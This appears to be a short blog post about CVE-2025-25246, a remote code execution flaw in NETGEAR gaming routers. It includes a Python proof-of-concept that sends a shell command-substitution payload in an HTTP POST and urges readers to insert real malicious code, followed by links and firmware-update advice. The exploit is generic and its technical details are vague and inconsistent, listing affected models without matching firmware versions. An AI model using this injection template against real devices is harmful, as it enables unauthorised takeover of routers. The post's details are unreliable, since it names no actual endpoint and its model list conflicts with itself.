Network security has become essential in the modern world as we store and transfer vast amounts of precious data. However, no technology is flawless. Researchers recently discovered a critical vulnerability identified as CVE-2025-25246, affecting several popular NETGEAR gaming routers, which potentially allows unauthenticated users to execute arbitrary code remotely. This post examines the affected routers, shares snippets of code, links to original references, and provides details on exploiting this vulnerability.

Exploit Details

The CVE-2025-25246 vulnerability allows remote attackers to execute arbitrary code on the target system, without requiring user authentication. The vulnerability is due to a lack of proper input validation, which allows the execution of malicious code.

To exploit this vulnerability, an attacker can send a crafted HTTP request with malicious data to the target device. Due to improper validation, the router processes the request, resulting in remote code execution with root privileges.

Code Snippet

The following code snippet represents a Python-based Proof-of-Concept (PoC) that exploits the CVE-2025-25246 vulnerability:

import requests

target_ip = "192.168.1.1"  # Replace with the target router's IP address
malicious_code = "insert_malicious_code_here"
url = f"http://{target_ip}/";

payload = {
    "malicious": f"$( {malicious_code} )"
}

headers = {
    "Content-Type": "application/x-www-form-urlencoded"
}

response = requests.post(url, data=payload, headers=headers)

if response.status_code == 200:
    print("Exploit executed successfully!")
else:
    print("Failed to exploit the target device.")

Remember to replace insert_malicious_code_here with the actual malicious code to exploit the target router effectively.

1. CVE details page: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-25246
2. NETGEAR security advisory: https://www.netgear.com/support/product-security/

Mitigation

It is crucial for users to update their NETGEAR routers to the latest firmware versions to protect against this vulnerability:

Update NETGEAR XR500 routers to firmware version 2.3.2.134 or later

Users can download the latest firmware versions from the NETGEAR support page or update through the router's admin interface. Moreover, it is recommended to keep up to date with all router firmware updates to ensure the security of your network devices.

Conclusion

When it comes to network security, we must always remain vigilant and stay on top of vulnerabilities, such as the CVE-2025-25246. By sharing information and continuously updating your devices, you are significantly decreasing the risk of exploitation by cybercriminals. So, make sure to upgrade your NETGEAR XR100, XR100v2, or XR500 router firmware today to avoid becoming a victim of this vulnerability!

Timeline

Published on: 02/05/2025 05:15:11 UTC